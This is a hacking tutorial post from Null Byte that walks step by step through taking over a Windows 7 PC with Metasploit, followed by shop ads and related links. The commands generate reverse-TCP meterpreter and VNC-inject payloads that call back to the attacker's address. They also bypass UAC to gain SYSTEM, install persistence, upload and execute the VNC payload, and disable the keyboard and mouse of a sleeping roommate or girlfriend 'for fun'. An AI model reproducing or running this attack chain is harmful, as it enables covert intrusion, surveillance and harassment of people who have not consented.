How to Run an VNC Server on Win7 « Null Byte :: WonderHowTo

OTW's great Tutorial Hack Like a Pro: How to Save the World from Nuclear Annihilation gives me the inspiration to try this on Win7 sp1.I did this under Bugtraq 2 Black Widow but it works almost similar on Kali-Linux.Step 1: Start All Services Und Run MetasploitOn bugtraq not preinstalled so:# sudo apt-get install vncviewerThan start the required services:# sudo service postgresql start# sudo service metasploit start# sudo msfconsoleStep 2: We Need Two PayloadsI did this with msfpayload:First we need the meterpretermsf > msfpayload windows/meterpreter/reversetcp LHOST=<your-ip> LPORT=<listening-port> x > /home/bugtraq/Desktop/backdoor.exeNow we got the file backdoor.exe on our Desktop now we need another .exe file that we will upload to our target and execute with the meterpreter.msf > msfpayload windows/vncinject/reversetcp LHOST=<your-ip>LPORT=<lisening-port> x > /home/bugtraq/Desktop/gui.exeStep 3: Lets Run the Meterpreter and Bypass the UACmsf > use multi/handlermsf exploit(handler) > set payload windows/meterpreter/reversetcpmsf exploit(handler) > set LHOST <your-ip>msf exploit(handler) > set LPORT <port>msf exploit(handler) > exploitSo we see that the meterpreter is running on our target but we need more system rights.meterpreter > getprivsmeterpreter > getsystemAccess Denied!!Should not be a big problemYou can look you Privs with the commandmeterpreter > run post/windows/gather/winprivsmeterpreter > backgroundmsf exploit(handler) > use exploit/windows/local/bypassuacmsf exploit(bypassuac) > set payload windows/meterpreter/reversetcpmsf exploit(bypassuac) > set LHOST <your-ip>msf exploit(bypassuac) > set LPORT <port>msf exploit(bypassuac) > set session 1msf exploit(bypassuac) > exploitIf that happens only try againmsf exploit (bypassuac) > exploitworks, now:meterpreter > getsystemmeterpreter > getprivsNow we should owned the system but we want to have an VNC on the target.If you want to make the meterpreter persistence should something go wrong just typemeterpreter > run persistence –A –L c:\\ -X 5 –p <port> –r <your-ip>Step 4: Now the Funny Partthe meterpreter got the download and upload function and the works like thismeterpreter > upload -r /home/bugtraq/Desktop/gui.exe C:/Now we open a second metasploit terminal and type inmsf > use multi/handlermsf exploit(handler) > set payload windows/vncinject/reversetcpmsf exploit(handler) > set LHOST <your-ip>msf exploit(handler) > set LPORT <port>msf exploit(handler) > exploitIt should now look like thisStep 5: Getting Finished...Now we go back to our meterpreter terminal, make sure you are in the folder C:/ where the gui.exe file is and type inmeterpreter > execute -f gui.exeStep 6: MUCH More FUNLets say in front of our target pc sleeps a person(roomate/girlfriend/whatever), if you want to wake him/her in an anoying way search his musik and have some Fun hehe,meterpreter > uictl disable mousemeterpreter > uictl disable keyboardand have fun :DI am sure there are better ways to do this hackbut it works, suggestions for improvement are always welcome!Hope you enjoyedWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Setup VNC on your computer for your Mac Mini serverHow To:Run Windows 7 on a Nokia n900 SmartphoneHow To:Create an SSH tunnel for your Mac Mini serverHow To:Monitor another computer screen with Real VNCHack Like a Pro:How to Save the World from Nuclear AnnihilationHow To:Bypass RealVNC authenticationHow To:Control iPhone/iPod Touch from a computerNews:Top 10 Bukkit PluginsHow To:Download and install Windows 7 language packsHow To:Get Flash to run on your iPad using a VNC appHow To:Run Your Favorite Graphical X Applications Over SSHHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:Control your PC from anywhereHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:Secure VNC and Apple Remote Desktop on your computerHow To:Remotely Control Computers Over VNC Securely with SSHNews:Server RunningNews:The server timeNews:SchoolHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Download and Install Minecraft 1.2.5 (Works on 1.2.4 Servers!)Hacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:The Minecraft World Server Now Has a Capture the Flag ArenaLock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingHow To:Run an FTP Server from Home with Linux